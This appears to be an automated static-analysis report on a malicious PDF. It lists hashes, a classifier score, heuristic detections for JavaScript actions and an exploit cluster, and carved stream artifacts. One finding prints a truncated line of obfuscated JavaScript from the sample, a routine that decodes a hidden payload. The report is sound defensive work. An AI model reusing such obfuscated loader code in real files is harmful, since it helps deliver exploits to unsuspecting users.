Malicious PDF — malware analysis report

Static analysis result for SHA-256 91372f41a4c99e5e…

MALICIOUS

PDF

8.1 KB First seen: 2026-05-10
MD5: 8f2fd5867f4f3ee653405ec8668bdb3a SHA-1: af0aff80dc844c1330061c141e66ec9d54da9b61 SHA-256: 91372f41a4c99e5e61b3d6899eccb9992638517f4f467b080b1b441fed46afdc
116 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 0.9164

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    fzyze=new Array();while(isgngva.length){fzyze.push((enftg(isgngva.charCodeAt(0))<<(4+2))+enftg(isgngva.charCodeAt(1))-(500+12));isgngva=isgngva.slice(2,isgngva.length)}jrymiw4=dqdndm2=isgngva=0;ywapkr8='';function enftg(hvxqeoi3){if(hvxqeoi3>92)hvxqeoi3--;return hvxqeoi3-42}function bpgqh(){if(isgngva==0){dqdndm2=enftg(erfqcm.charCodeAt(jrymiw4++));isgngva=6;}return ((dqdndm2>>--isgngva)&0x01);}while(yoezg--){i=0;while(fzyze[i]<0){if(bpgqh())i=-fzyze[i];else i++;}ywapkr8+=String.fromCharCode(fzy …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_003_off0000049b.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x49B 2450 bytes
SHA-256: c7a40ada0104b367f9983576da8df7a17cb173ffc356d7d846ae5951537aaa9e
objstm_0025_00.bin pdf-objstm-decoded PDF /ObjStm 25 0 obj (inflated) 375 bytes
SHA-256: 3362b27b3bb84570370b4c3970444f802526ec2a781d67966a880c20598b51b4